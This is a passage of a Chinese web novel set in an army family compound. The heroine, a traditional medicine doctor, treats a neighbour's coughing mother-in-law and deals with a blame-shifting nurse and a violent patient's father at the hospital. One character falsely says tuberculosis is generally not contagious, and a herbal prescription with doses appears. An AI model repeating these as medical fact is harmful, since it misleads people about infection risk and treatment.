赵晓燕摇摇头："咳血好像没看见，发热我也不知道呀，她今天刚到。" 沈晚安抚地拍拍她的手："肺痨一般不会传染，但确实比较难治，容易反复发作，很难彻底根治。" 赵晓燕闻言，眉头皱得更紧了："老张还是挺孝顺的，要是我婆婆短时间内治不好，恐怕他也不会让她回老家了。我这日子可就真难过了。" 沈晚理解地点点头。 想到平常白天张德志在部队，就赵晓燕一个孕妇和婆婆在家大眼瞪小眼，确实够呛。 孕妇最需要保持心情愉悦，这样下去对胎儿也不好。 沈晚思索片刻："这样吧，我帮你婆婆把脉看看？也许有更好的治疗方法。" 赵晓燕有些犹豫："这会不会太麻烦你了？" "这有什么麻烦的？你平时也没少帮我。"沈晚笑道。 赵晓燕感激道："那我们按正常医药费给你。" "等治好了再说钱也不迟。" 赵晓燕对沈晚的医术很有信心，一回家就跟黄春艳商量："妈，我们隔壁住的沈晚妹子医术可厉害了，连军区医院的专家都比不上。我能怀上孩子也是她帮的忙。她听说您不舒服，想帮您看看，要不......" 黄春艳一听就拉下脸："不会就是隔壁那个丫头片子吧？她才多大年纪？能有什么医术？我这个病多少专家看了都好不了！我看她是想骗医药费吧？" 赵晓燕无奈："人家都说了，治不好不要钱。" "不去不去！"黄春艳固执地摆手，"我要看就去医院找正经医生看！" 赵晓燕气得瞪向张德志。 张德志也劝道："妈，沈同志的医术可是连军区医院董院长都夸赞的。您就让她看看吧？" 黄春艳依旧满脸不信，嘟囔着：“我不让她给我治，万一治坏了怎么办？我还想活到我孙子出生呢。” 没办法，张德志只好答应带母亲先去部队医院看看，心想那里的医疗水平也不差，说不定不用麻烦沈晚就能治好。 下午阳光正好，黄春艳坐在院子里晒太阳，看着隔壁沈晚在院子里忙前忙后地整理草药，忍不住开口问道："你捣鼓这些杂草有什么用吗？" 沈晚抬头看了她一眼，用干净的手背擦了擦额头的细汗："大娘，这些可不是杂草，都是能治病的草药。" 黄春艳撇撇嘴，显然不信。 她站起身往沈晚院子里张望，突然眼睛一亮，指着角落一处问："那几棵是不是人参啊？" 沈晚有些意外："您认识人参？" "那可不！"黄春艳顿时来了精神，"我在老家的时候，亲眼看见村里有人上山挖到野山参，卖了不老少钱呢！" 她眼冒精光地盯着那几株人参，"这得值多少钱啊……" 沈晚皱了皱眉："……这是野山参没错，不过年份还小，不值什么钱。" 黄春艳也不知道在想什么，眼珠子滴溜溜地转了几圈，这才重新坐回椅子上， 沈晚懒得再管她，低头继续处理手中的药材。 张德志刚回部队，还有些交接工作要处理，家里只剩赵晓燕和黄春艳两人。 黄春艳大喇喇地坐在院子里，眯着眼睛晒太阳，时不时咳嗽几声。 见赵晓燕在屋里休息，她扯着嗓子喊："晓燕啊，我有点渴，给我倒杯水。" 赵晓燕给她倒了杯温水递过去："妈，您喝。" 第一百二十一章 李丽又整幺蛾子 黄春艳接过水杯抿了一口，突然咂着嘴说："还是你们部队里好啊，也没有地需要种，不像俺们农村，每天累死累活的，腰都直不起来。 你跟着我儿子，算是享福了。这要是不能生个大胖小子出来，可对不起我儿子。" 赵晓燕听完这话，脸黑了下来，但碍于孝道又不好顶嘴，只能强忍着站在一旁看她喝水。 黄春艳喝水时发出"咕咚咕咚"的声响，水顺着嘴角流到下巴，直接用手背一抹了事。 赵晓燕看不惯，但也没说什么。 "咳咳……"黄春艳突然剧烈咳嗽起来，一口水喷得满院子都是。 赵晓燕问了一嘴："妈，你没事吧？" 黄春艳咳得满脸通红，摆摆手，把水杯塞回赵晓燕手里："没事！" 赵晓燕接过水杯，转身进屋后直接放在了桌上，这个杯子她是不打算再用了。倒不是说嫌弃长辈，实在是她有洁癖，看不惯婆婆那邋遢样。 沈晚在一旁目睹全程，也算明白赵姐日子有多难熬了。 还没等赵晓燕坐下歇多久，院子里又传来黄春艳的喊声："晓燕！" 赵晓燕扬声应道："妈！咋了？" "我饿了，啥时候吃饭啊？" 赵晓燕走出去，耐着性子解释："德志出门前不是给您煮了粥吗？" "那清汤寡水的哪够吃！我们从老家带了只鸡来，你给炖了吧？总不能饿着肚子吧？" 赵晓燕皱了皱眉："妈，我现在闻不了那些血腥气，等德志回来让他给您炖吧。" 黄春艳立刻拉下脸："你这还没显怀呢，哪来这么多讲究？我当年怀德志的时候，七八个月还在地里干活呢！" 沈晚实在听不下去了："大娘，赵姐她孕反特别严重，闻到腥味就吐得厉害。" 这时对面的李丽也开口了，她刚才坐在院子里听了半天，合着这老太太就是赵晓燕的婆婆呀。 俗话说“婆媳就是天敌”，让赵晓燕之前那么嚣张，这次非得挫挫她的得意。 "大娘，您就是晓燕的婆婆吧？" 黄春艳冲她点点头："对啊。" 李丽热情地说："大娘，要不然您把鸡给我，我给您做好了端过来？" 赵晓燕和沈晚对视一眼，不明白这李丽又要整什么幺蛾子？ 黄春艳："那怎么好意思麻烦你嘞？" "这算什么麻烦！晓燕每天这么难受，我都能看出来，说来也怪，可能每个人体质不一样吧，我当初怀孕的时候，可是一点孕吐都没有呢。" 黄春艳连忙问："那你生的是小子还是闺女啊？" "是个儿子，都快八岁了，每天皮得很！"李丽得意地说。 这话像根刺，狠狠扎进黄春艳心里。 她当年怀两个儿子时，也是啥反应都没有，怎么到了赵晓燕这儿就这么娇气？难不成......怀的是个闺女？ 老太太的脸色顿时更难看了。 李丽："大娘，我炖汤可好喝了嘞，要不我帮晓燕姐炖吧？" 黄春艳勉强扯出个笑容："不用麻烦你了。晓燕，你去把那只老母鸡炖了吧。" 心想：要是真怀个丫头片子，哪还能让她这么享福。 沈晚刚要开口，赵晓燕就冲她使了个眼色："妈，我现在就去。" 李丽眼中闪过一丝得意。 沈晚冷冷地看向她，这个李丽，上次吃了亏倒是学聪明了，现在知道搞离间计了。 厨房里，赵晓燕刚把鸡从袋子里拿出来，一股禽类特有的腥味就扑面而来。 她胃里顿时翻江倒海，捂着嘴冲到院子里干呕了两次，眼泪都呛出来了。 黄春艳就坐在院子里，听到赵晓燕吐，眼皮都不抬一下。 沈晚只能主动过去帮忙。 她手起刀落，将已经杀好的鸡剁成均匀的小块。 赵晓燕感激地看着她："谢谢你啊妹子。" "谢什么？你婆婆也真是的，明知道你怀着孕闻不得腥味，还非要你现在炖鸡。" 沈晚开始给鸡肉焯水。 赵晓燕苦笑着摇摇头："没办法，老一辈人就是这样。你婆婆不这样吗？" 沈晚手上动作一顿。 原主的记忆里，霍母性格温和，说话轻声细语，因为常年生病总是蔫蔫的，才会纵容原主无法无天。 霍父虽然严肃，但心地不坏，也难怪能养出霍沉舟这样正直的儿子，只可惜原主太作，把老两口的耐心都耗尽了。 "我婆婆挺讲理的。"沈晚如实道。 赵晓燕羡慕地叹了口气："那还挺好的。" 沈晚将焯好水的鸡肉放入砂锅，加入姜片、红枣和枸杞，又倒了些料酒去腥，很快，清亮的汤水开始咕嘟咕嘟冒泡，浓郁的香气弥漫开来。 "再炖半小时就好了。"沈晚盖上锅盖。 这时黄春艳背着手踱进厨房，皱着眉头问："还要多久啊？" 赵晓燕："还得等一会儿。" 黄春艳撇撇嘴："炖个鸡还要别人帮忙，真娇气。我怀孕那会儿......" 眼看着她又要开始数落，沈晚打断她："大娘，每个人的体质不一样，你不能老是拿你之前的身体和赵姐比，再说了，赵姐怀的是你们张家的孙子，是男是女不都得叫你奶奶吗？ 你要是这么不喜欢女孩，等赵姐真生出闺女来了，让她跟着赵姐姓吧，反正她奶奶也不喜欢她。" 黄春艳瞪大眼睛："这怎么行？没听说过孩子要跟母亲姓的！我们老张家的种，当然得姓张！" 沈晚不急不恼，笑眯眯地反问："那您还嫌弃什么？不管是孙子还是孙女，不都是您亲血脉？赵姐现在怀孕了，您当婆婆的不体谅就算了，还处处挑刺，这要是让张大哥知道了，岂不是寒了他的心吗？" 黄春艳脸色变了变，明显被戳中了软肋，她心里还是在意儿子的，张德志又很疼赵晓燕，要是真让他知道自己这么苛责赵晓燕，恐怕心里会有意见。 赵晓燕看着婆婆被沈晚几句话堵得哑口无言，心里舒坦了几分。 沈晚从张家回来时，霍沉舟正好也回来了。 她把赵晓燕婆婆的事说了一遍。 霍沉舟听完后问："她没刁难你吧？" "没有。" 霍沉舟："放心吧，我妈不这样。" 第一百二十二章施针救黄春艳 "我知道你妈人好。对了，你爸妈什么时候来呀？我得好好准备一下。" 霍沉舟拍了拍她的脑袋："他们又不来部队住，有什么好准备的。" 沈晚似笑非笑："那我也要准备一下呀。你忘了，他们上次来信还说让你和我离婚呢？我不得好好表现一下？" 提到父母的态度，霍沉舟眸色沉了下来。 他不想打击沈晚的积极性，沉默片刻道："月底吧。你想准备什么？" "你爸爱喝茶呀，得准备一罐上好的茶叶吧？还有你妈的病，我已经配好药方了，到时候帮她做个针灸。" 霍沉舟看着她认真的模样，眼神不自觉地柔和下来："嗯，可以，他们会高兴的。" "你最好发个电报问问具体哪天来，我们去车站接他们。" "好。"霍沉舟应着。 沈晚从家里整理出一桶垃圾，让霍沉舟拎到家属院门口倒了。 霍沉舟单手提着垃圾，即便做着最寻常的杂事，也掩不住那股与生俱来的气质。 刚倒完垃圾转身，身后突然传来一声轻唤："沉舟。" 霍沉舟回头，看见蒋雪站在不远处，眉心几不可察地一皱："怎么了？" 蒋雪看出他眼中的疏离，心里一阵刺痛。 她低着头走近几步："你放心，我不是来纠缠你的，我是来找我表姐的。" "李丽？" "嗯。" 霍沉舟微微颔首，转身就要离开。 蒋雪又追了上来，声音带着几分哽咽："沉舟...你可以给我一点意见吗？我现在该怎么办？" 霍沉舟摇了摇头："我不能给你什么意见。" 蒋雪眼眶泛红："我现在一闭眼就是那些痛苦的回忆...我想去看心理辅导，但一个女同志发生了这种事……又怎么能鼓起勇气揭开伤疤去给别人看呢？" 霍沉舟沉默片刻："部队心理辅导还是很专业的。你要是真的需要帮助，可以去看看。他们不会把你的私事外传。" 蒋雪还想说点什么，霍沉舟突然停下：“我到家了，先进去了。” “……嗯。” 蒋雪眼睁睁看着霍沉舟进了家门，却没有资格再去挽留他，她现在已经不干净了。 她擦干眼泪，转身去找李丽。 "什么？你跟你妈撒谎了？"李丽听完蒋雪的讲述，眉头紧锁，"这能瞒住吗？" "必须要瞒住！以我爸妈的性子，知道我婚前就干了这种脏事，他们一定会打死我的。" 李丽欲言又止，目光不自觉地瞟向蒋雪的肚子。 万一一次就中，那可就真瞒不住了，但看着蒋雪苍白的脸色，她终究没把这话说出口，只能在心里祈祷蒋雪别这么倒霉。 晚上，霍沉舟和沈晚突然听到门外传来一阵急促的敲门声，沈晚推开身上的男人，披上衣服：“你去看看，谁来了？” 霍沉舟烦躁地抓了抓头发，心情有点郁闷地穿好衣服去开门。 门外站着神色焦急的张德志："老霍，打扰了......" 霍沉舟皱眉："怎么了？" 张德志往屋里张望了一眼："你媳妇睡了吗？我想请她帮我娘看看。她从晚饭后就一直咳，到现在都没停，整个人精神很差。" 还没等霍沉舟回答，沈晚已经拿着针包从里屋走出来："我去看看吧，张大哥别太担心。" 张德志搓着手，满脸愧疚：“真是麻烦你了，沈同志。” "不麻烦。" 霍沉舟确认霍小川还在熟睡，便跟着沈晚一起去了张家。 一进门，就听见黄春艳撕心裂肺的咳嗽声——那声音像是要把肺都咳出来似的，带着"呼哧呼哧"的痰音，每一声都仿佛用尽了全身力气。 赵晓燕坐在炕沿，一手扶着婆婆的后背，一手端着水杯。 见沈晚进来，赵晓燕如见救星："妹子，你快看看，这咳得越来越厉害了！" 沈晚快步上前，只见黄春艳面色发青，嘴唇发紫，呼吸急促。 赵晓燕又把手绢递给沈晚："妹子，你快看看，刚才我婆婆咳血了！" 张德志闻言，一个箭步冲到炕边，紧紧握住黄春艳枯瘦的手，眼眶瞬间红了："娘......" 黄春艳虚弱地抬眼看了看儿子，连说话的力气都没有，随即又是一阵剧烈的咳嗽。 沈晚接过手绢仔细查看，安慰道："张大哥别担心，这血丝应该是剧烈咳嗽导致喉咙毛细血管破裂出的血，颜色鲜红，量也不多，不像肺部咳出来的。如果是肺里出血，颜色会更深，而且会混着痰液。" 张德志抹了把眼睛，声音哽咽："沈同志，麻烦你帮我娘看看。我本来打算明天一早就带她去军区医院，连董院长都打好招呼了，没想到今晚突然加重......" 沈晚点点头，示意赵晓燕帮忙扶正黄春艳的身子。 沈晚上前一步，轻轻挽起衣袖，露出纤细的手腕。 她三指搭在黄春艳的脉门上，凝神细诊。 指下的脉象弦数而滑，沈晚眉头微蹙："黄婶这脉象显示肺阴亏虚，痰热壅盛。原本的肺痨病根未除，又添了新感风寒。肺痨本就耗伤肺阴，这次风寒入里化热，热邪灼伤肺络，所以咳嗽加重甚至见血。" 赵晓燕问："那严重吗？" 沈晚安抚地看她一眼："暂时没有生命危险，但需要尽快治疗。我先给黄婶扎几针止咳定喘，再开个清热润肺的方子。张大哥，麻烦你准备些热水和干净毛巾。" 张德志连忙应声去准备。 沈晚把银针消毒后，在黄春艳的肺俞、定喘等穴位施针，老人的咳嗽渐渐平缓，呼吸也不再那么急促。 沈晚边施针边说：“张大哥，你明天带大娘去医院拍个胸片确认下比较稳妥。” 张德志连连点头：“好！” 霍沉舟在旁边看着沈晚专注施针救人的样子，眸光不自觉地柔软下来。 这样的沈晚，沉着、温柔、医术精湛，浑身散发着令他着迷的魅力，所以他才对这个女人从厌恶到深爱，从排斥到依恋，她早已成为他生命中不可或缺的一部分。 第一百二十三章 水平肯定不在一个档次 施完针后，沈晚俯身站在桌前，又写了一张药方：桑叶十克，麦冬八克，枇杷叶六克，甘草三克，冰糖五克。 她把药方递给张德志：“张大哥，这是药方，照药方抓药，一天煎一副，分早晚两次喝，早饭、晚饭后各一碗。” 张德志一脸感激地看向沈晚：“谢谢你，沈同志，你是我们家的大恩人。” 沈晚看了眼床上躺着的黄春艳：“那我先回去了。” “好。” 赵晓燕把沈晚两人送到门口，赵晓燕握了握她的手：“辛苦你了今天，大晚上还打扰你们休息。” 沈晚眨了眨眼：“……没事，我们没有在休息。” 赵晓燕没有听出弦外之音：“回去吧，我还得守着我婆婆呢。” “嗯。” 等沈晚和霍沉舟离开后，赵晓燕回到房间，黄春艳看起来已经缓过来了，精神头也好了。 她靠在床头，喝了几口温水，也不咳了。 赵晓燕：“妈，你看，我就说沈晚医术厉害着吧？你还不让她帮你治。” 黄春艳神情有点不自然：“她要了多少钱？” 赵晓燕皱起了眉：“人家可没要我们钱，这是看在我和老张的面子上，好心给你看病来了。” 黄春艳一脸不信：“她那么好心？” “妈，小晚妹子都不计前嫌来给你治病了，你怎么还这么怀疑人家？”赵晓燕面露不悦。 黄春艳苦口婆心：“这天底下哪有白白掉馅饼的事？现在她免费帮我看病了，说不定以后就要从别的地方要回好处来，晓燕，不是我说你，你长点心眼，不要人家对你有一点好，你就上赶着对她好。” 赵晓燕和婆婆说不清楚，干脆摸着小腹说，“我累了，我回屋休息了，明天让德志带你去医院拍片子。” 等赵晓燕一走，黄春艳就对张德志抱怨道：“你这媳妇也太没心眼了，” 张德志无奈：“行了妈，你快躺下休息吧，我等你睡着了我再睡。” 沈晚回到家后，已经面露疲惫，忍不住揉了揉眼睛，她刚才一直专注地施针，屋内灯光又比较昏暗，所以眼睛有点酸胀。 霍沉舟端着温水从厨房出来，见她指尖在眼睑上反复按压，有点心疼的问：“很累吗？” "还好。"沈晚接过水杯，小口啜饮。 温热的水流滑过喉咙，她舒服地叹了口气。 霍沉舟伸手替她按揉太阳穴，低声道："那今晚好好休息。" 沈晚仰起脸，冲他狡黠一笑："真的？" 霍沉舟弹了一下她的脑壳：“你都这么累了，难道我在你心里就那么不通人性，还要折腾你呀？” 沈晚指了指主卧：“那我回屋睡觉了，你也早点休息。” “嗯。”霍沉舟低头亲了亲她的额头，目送小女人溜进卧室。。 …… 第二天，沈晚想着有一段时间没去过医院坐诊了，吃过早饭便去了医院。 平时她不来时，那间中医顾问办公室都是锁着的。 沈晚径直去了董建林办公室："院长，我今天有空，来医院看看。您有没有我那间办公室的钥匙？" 董建林正伏案批阅文件，抬头见是沈晚："你来得正好！最近医院忙得脚不沾地，你一来肯定能减轻各科室压力。" 他想了想又说："我给你派个护士过去吧，上次的小胡怎么样？" 沈晚想起上次那个胡春芳，虽然干活勤快，但说话总带着几分阴阳怪气，便摇头道："换一个吧。" 董建林推了推眼镜："怎么？她哪惹你了？" 沈晚失笑："没有，不算惹到。就是性格不太合拍。" 董建林了然地点点头："行，你先去办公室吧，我再给你物色个合适的助手。" 沈晚回到办公室门前，刚打开门，就听见身后传来张思德的声音："沈顾问？刚才远远看见你，还以为认错人了呢，你真的来了。" 沈晚语气松快："对呀，好歹是我的工作，不能一直在家偷懒不是？" 张思德被这话逗笑了："那你今天可有的忙了。"他指了指走廊上排队的病人，"最近医院特别忙，内科都快挤爆了。" 沈晚：“那我更应该来了。” 此时，张德志刚带着黄春艳到了医院。 黄春艳抬头望着宽敞明亮的门诊大厅，忍不住感叹："果然是大医院啊，和老家那些小诊所就是不一样。" 张德志轻声解释："妈，咱们先去挂号，然后去放射科拍个胸片，看看肺部情况。" "拍胸片？"黄春艳有些紧张，"那玩意儿贵不贵啊？" "您别担心钱的事，"张德志安抚道，"部队医院有补贴，花不了多少。" 等胸片拍完后，张德志又带着黄春艳去了呼吸内科诊室。 一位头发花白的老医生仔细看了看胸片："不是肺结核，但是这炎症拖得太久了，已经形成慢性病灶。现在只能控制症状，防止进一步恶化，想要完全根治不容易。" 黄春艳听到大医院的医生也这么说，脸色都白了："啊？那我这病是好不了了？" 其实她心里还是挺怕死的。 老医生摇摇头："也不能这么说。按时吃药，注意调养，还是能控制住的。就是得做好长期吃药的准备。" 他想了想，“这情况，西医只能吃药控制，还不如去看看中医。” 黄春艳连忙问：“什么中医？” 医生点点头："正好我们医院新请了位中医顾问，她的针灸和方子都很厉害，但是她不常来医院，你们现在可以去对面的中医顾问办公室看看。" 黄春艳立马拽着张德志的袖子："儿子，咱去找那个中医顾问看看！" 张德志无奈道："妈，沈同志就是中医啊，她昨晚不是用针灸帮您缓解症状了吗？" "那能一样吗？"黄春艳撇撇嘴，"她就是个黄毛丫头，这可是医院专门请来的顾问，水平肯定不在一个档次！" 张德志并不知道沈晚就是医院新聘的中医顾问，见母亲坚持，只好说："行行行，我们去看看。" 两人打听了一路，来到内科对面的中医顾问办公室。 沈晚正在桌前整理病例，听到动静，她说：“来看病的吗？” 第一百二十四章 怎么是你？！ 黄春艳听到这熟悉的声音，瞪大了眼睛："怎么是你？！" 张德志也愣住了："沈同志？" 沈晚抬头看清来人，挑了挑眉："张大哥，是你们啊？胸片拍好了吗？" 张德志回过神来，连忙点头："拍了，医生说不是肺结核，但肺部有感染，建议长期吃药控制。" 他不好意思地挠挠头，"医生还推荐我们来看看中医……没想到中医顾问就是你啊？" "对啊。"沈晚微微一笑。 黄春艳站在一旁，脸色变了又变。 她怎么也没想到，昨晚给自己扎针的丫头片子，居然就是医院重金聘请的中医专家！ 张德志忍不住打趣道："妈，这下您总该相信沈同志的医术了吧？" 黄春艳老脸一红，下意识想反驳，但想到现在有求于人，只好咽下心头那股气，挤出一丝笑："我没说不信啊。沈同志，你看我这个病，该怎么治啊？" 沈晚淡淡道："治疗方法就和昨晚一样，需要配合针灸疏通肺经，然后按我开的方子喝半个月药，基本上就能控制住症状。 平时要注意保暖，别受凉，饮食清淡些，忌辛辣油腻，烟酒更是绝对不能碰。" 黄春艳瞪大眼睛："就这样？" "对啊，从中医角度就是这样。"沈晚似笑非笑地看着她，"您要是不信，我也没办法。" 黄春艳支支吾吾："我、我没说不信啊......" 张德志激动地点头："好，就按你说的治，麻烦你了沈同志。" 沈晚笑了笑："没事，我今天既然来医院了，这就是我的工作。不过针灸治疗需要走正规流程收费。" 黄春艳眼睛一瞪，刚要开口，张德志赶紧接话："这是肯定的，该收多少收多少。" "行，那现在躺诊疗床上吧。"沈晚指了指一旁的诊疗床。 张德志扶着黄春艳过去："妈，您躺下吧。" 黄春艳一边慢吞吞地躺下，一边小声嘟囔："早知道这么简单，还来大医院花这冤枉钱，在老家找个土郎中扎两针不就行了？" “……妈，那能一样吗？”张德志简直服了自己老娘这套逻辑了。 扎针的空隙，黄春艳突然问："这得花多少钱啊？" 沈晚："针灸治疗一次是五块钱。" "五块钱？！"黄春艳差点从诊疗床上弹起来，"这么贵？抢钱啊！" 张德志连忙按住她："娘！您别乱动，小心针歪了！您儿子我有津贴，咱就别心疼这钱了。" 付钱的时候，黄春艳一脸肉疼的表情，等出了医院，她忍不住抱怨道："这沈晚也太能坑钱了，扎几下针就要我们五块钱！" 张德志反问："那你感觉舒服了没？" 黄春艳撇撇嘴："舒服是舒服了，胸口也不像之前那样闷得慌，喘气也顺畅多了......" "那不就行了？您这病在老家拖了多久都没好，沈大夫两次针灸就让您舒服这么多，这钱花得值。" 黄春艳被儿子堵得没话说，只能悻悻地闭了嘴。 另一边，护士长来到护士站，指着一个脸蛋圆圆的小护士："静怡，你今天去沈顾问那里帮忙配药。" 刘静怡闻言惊讶地抬头，随即爽快应道："好嘞！" 一旁的胡春芳听到沈晚来了，立刻喊住护士长："护士长，上次不是我去帮沈顾问的吗？这次怎么换人了？" 护士长瞥了她一眼："不清楚，董院长特意交代让换一个护士去帮忙。" 她说完就急匆匆走了。 刘静怡收拾好东西刚准备去找沈晚，胡春芳突然拦住她："你把今天的活让给我，你别去了。" 刘静怡皱起眉："为什么？护士长特地指定的我。" "因为你上次又没去过沈顾问那里，肯定对那边的事情不熟悉。"胡春芳理直气壮地说，"我已经去过一次了，我比较熟悉流程。" 刘静怡不为所动："那你应该去跟护士长和董院长说换人。他们要是说让你去，我肯定不和你抢。" "你！"胡春芳语塞，她当然不敢去找护士长，更不敢直接找董院长，只能气呼呼地瞪着刘静怡离开护士站。 冯雪走过来安慰她：“算了吧春芳，那刘静怡脑子又没有你聪明，说不定到那就被沈顾问嫌弃地赶回来，到时候肯定还会安排你去的你。” 胡春芳闻言只能作罢，这时门口又传来催促声："胡春芳！病人等着换药呢！磨蹭什么呢？" 胡春芳嘴里嘟囔着："催催催，催命啊！" 她不情不愿地拎起药盘走了。 刘静怡来到沈晚的诊室，轻轻敲了敲门："沈顾问，你好，我是今天来帮忙的实习护士刘静怡。" 沈晚抬头打量了她一眼，小姑娘脸蛋圆圆的，扎着简单的马尾辫，一双杏眼透着紧张，整个人看起来朴素又可爱。 "不用那么紧张，"沈晚友善地笑笑，"现在这里还没什么事，你可以坐下休息一下。" "我？坐下休息？"刘静怡瞪大了眼睛，不可思议地重复道。 在其他科室，就算没事做，医生们也会让实习护士跑腿打杂，比如接水、整理病历、跑腿送检之类的，哪有让坐着休息的好事？ 沈晚看她呆住的样子，觉得有趣："怎么，让你休息还不习惯？" 她指了指对面的椅子，"坐吧，趁现在没病人，不然一会忙起来就没时间休息了。" 刘静怡受宠若惊地坐下，双手规规矩矩放在膝盖上。 沈晚低头继续忙自己手上的事情，过了一会儿，她察觉到一道视线一直落在自己身上，抬头正好对上刘静怡来不及躲闪的目光。 "在看什么？"沈晚笑着问。 刘静怡的脸"唰"地红透了，“没什么，我就是觉得……沈医生，你长得真好看。” 沈晚先是一怔，随即轻笑出声。 这个刘静怡明显比上次那个胡春芳单纯可爱得多，说话直率却不让人反感，和她相处让人很舒服。 "谢谢夸奖。"沈晚眨了眨眼。 第一百二十五章 医闹 刘静怡结结巴巴地回答："不、不客气。" 沈晚见她年纪不大，主动问道："静怡，你多大了？" "我十八了。" "这么小呀？"沈晚有些惊讶，"你家就在本地吗？" 刘静怡点点头，又摇摇头："我家在青山沟，离这儿三十多里地。家里催着我嫁人，我不想那么早结婚，就跑来城里了。现在住在集体宿舍里。" 沈晚皱眉："你才十八岁，家里就让你嫁人了？" 刘静怡低下头，眼中流露出一丝黯然："我爸妈想拿我换点彩礼，给我弟攒钱娶媳妇......" 沈晚安慰道："那你就安心在军区医院干下去吧，这里的福利待遇还是很好的。" 刘静怡："嗯嗯！其实我都没在专业院校学过护理，本来是不能进医院当实习护士的。但报名那天遇到了杨主任，她听说了我的情况，特意给我安排了三个月的集中培训，还让护士长亲自考核了我的实操技能，这才破格录用了我。" 沈晚有些惊讶："你说的杨主任是杨雪梅主任吗？" "是的！"刘静怡连连点头，"沈顾问，您认识她？" 沈晚笑了笑："认识。" 正说着，诊室又来了病人。 两人立刻忙碌起来，虽然刘静怡是第一天来，但和沈晚配合得十分默契。沈晚说什么她就做什么，遇到不懂的也会及时询问，做事认真细致，让沈晚很是放心。 到了中午，刘静怡主动邀请道："沈顾问，听说今天食堂有红烧排骨，我们一起去吃吧？" 沈晚刚要答应，诊室门口突然传来一道熟悉的低沉嗓音："阿晚。" 沈晚看见来人，只好歉意地对刘静怡笑笑："静怡，今天不能和你一起吃饭了。" 刘静怡只见诊室门口站着一个身材挺拔的军官。 男人剑眉星目，轮廓分明的脸上不带一丝表情，军装笔挺，整个人散发着生人勿近的凌厉气场。 "沈顾问，这就是你丈夫霍团长吧？"刘静怡小声问道。 沈晚点点头，霍沉舟的目光淡淡扫过来，刘静怡觉得后背一凉："那我先出去了，沈顾问。" "好。" 等刘静怡贴心地带上门，沈晚的眼睛立刻亮了起来，小步朝霍沉舟跑去。 霍沉舟眸中浮起笑意，刚想张开双臂迎接扑过来的小女人—— 谁知沈晚的目标却是他手中的饭盒。 她一把接过保温桶，迫不及待地打开盖子。 顿时，红烧带鱼的浓郁香气弥漫了整个诊室。 沈晚深深吸了一口气，眼睛都眯了起来："好香！" 霍沉舟："......" 部队食堂有专门为霍沉舟这样的军官开的小灶，每天都会变着花样做饭，味道很不错，沈晚馋这一口很久了。 霍沉舟无奈道：“慢点吃，没人和你抢。” 沈晚刚吃了几口，外面突然传来一阵吵闹声。 两人对视一眼，霍沉舟沉声道：“我出去看看，你先吃。” 霍沉舟推开门，外面的喧哗声顿时清晰起来，隐约还能听见刘静怡慌乱道歉的声音。 沈晚眉头一皱，立刻放下筷子跟了出去。 走廊上，一个身材魁梧、穿着棉衣的男人正粗鲁地推搡着刘静怡："你怎么回事啊？你到底会不会打针？连扎两针都找不准血管！" 男人身后，一个妇女抱着个四五岁的小男孩，孩子正扯着嗓子大哭。 看样子应该是附近屯里的村民。 刘静怡脸色苍白："对不起，小朋友的血管太细了，我……" "谁要听你这个理由？"男人粗暴地打断她，"把你们领导叫来！我要投诉你！" 胡春芳和冯雪站在不远处看热闹，冯雪："春芳，还是你有先见之明。" 胡春芳得意地抬了抬下巴，冷哼一声。 刚才护士长安排她给那个小孩打针时，她看出这孩子血管细得跟头发丝似的。上次她就栽在这种病例上，扎了三针都没成功，不仅被病患投诉，还被护士长骂得狗血淋头。 所以她刚才故意装作有急事，把这块烫手山芋甩给了那个不知天高地厚的刘静怡。 "对不起，我真的很抱歉……"刘静怡红着眼眶连连鞠躬道歉，却被暴躁的男人推得踉跄后退。 男人不依不饶，扬起手就要再推："你们医院就这种水平？！" 就在他手臂挥下的瞬间，一只骨节分明的大掌突然钳住了他的手腕。 男人回头，对上了一双锐利如鹰隼的眼睛。 男人使劲挣扎了几下，却发现手腕像被铁钳夹住一般纹丝不动，顿时恼羞成怒："你放开我！" 霍沉舟眼神一冷，反手一个利落的擒拿，男人顿时疼得弓起身子，发出杀猪般的嚎叫："啊！手、手要断了！" 沈晚快步走到刘静怡身边，轻声问道："你没事吧？" 刘静怡抬头见是沈晚，眼眶一红，摇了摇头："没事，沈顾问。" 这时张思德和护士长闻讯赶来。 护士长看到霍沉舟制服闹事者的场景，倒吸一口凉气，赶紧问刘静怡："发生什么事了？" 刘静怡虽然害怕，还是如实回答："刚才我给那个小朋友输液，但是他血管太细了，我扎了两针都没成功……" 护士长眉头一皱："刚才我不是安排胡春芳负责这个患儿吗？怎么变成你了？" 刘静怡："胡春芳说她有急事，让我先替她一下。" 护士长在医院干了十几年，什么弯弯绕绕没见过？她扫过躲在人群后面的胡春芳。胡春芳被她这么一盯，顿时心虚地别开脸。 另一边，张思德对霍沉舟说："霍团长，你先松手吧，再这样下去他这只手真要断了。" 霍沉舟冷冷瞥他一眼，这才松开钳制。 那男人踉跄着后退两步，捂着发红的手腕，恶狠狠地瞪了霍沉舟一眼，却再不敢像刚才那样嚣张。 “这位同志，”护士长上前一步，“没找好血管这是我们护士的操作失误，我们很抱歉，但是在医院里闹事是违反规定的。如果您还要继续扰乱医疗秩序，我们有权联系警卫处处理。” 第一百二十六章 胡春芳甩锅刘静怡 男人张了张嘴想反驳，却在看到霍沉舟冷峻的目光后，把话咽了回去。 张思德声音温和地说："这小孩的血管确实比一般孩子细很多，我来帮你们处理吧，跟我进处置室吧。" 男孩父母对视一眼，见这位医生挺专业的，便抱着孩子跟了进去。 围观的人群见没热闹可看，也渐渐散开了，胡春芳和冯雪也不知道什么时候走了。 刘静怡红着眼睛向沈晚和霍沉舟道谢："谢谢你们，沈顾问，霍团长。" 沈晚轻轻拍了拍她的肩膀："你刚才说，这本来是胡春芳的病人？" 刘静怡点点头："嗯，我本来要去吃午饭的，胡护士突然叫住我，说她有急事，让我帮忙给那个小孩打针。" 沈晚眸色冷了几分。 她刚才过来时，分明看见胡春芳悠闲地站在人群里看热闹，哪像有急事的样子？ 这摆明是故意甩锅给刘静怡。 沈晚神情严肃地对护士长说：“护士长，胡春芳明显是故意把难处理的病人推给静怡，自己却在旁边看热闹。这种推诿责任、陷害同事的行为，应该受到惩罚。” 护士长叹了口气："放心吧沈顾问，这件事我心里有数。我本来想着上次特地教过胡春芳处理这种细血管的技巧，让她今天多实践一下，没想到她竟然偷奸耍滑，还把责任推卸给静怡。这次我一定会严厉处罚，绝不姑息。" 刘静怡没想到沈晚和护士长都替自己主持公道，眼眶顿时红了。 护士长转向她："静怡，你跟我来护士站一趟。" 沈晚冲刘静怡笑了笑："去吧。" 刘静怡一步三回头地跟着护士长走了。 等到了护士站，护士长本就一肚子火，此时又发现胡春芳不在岗位上，立即沉着脸让人去找。 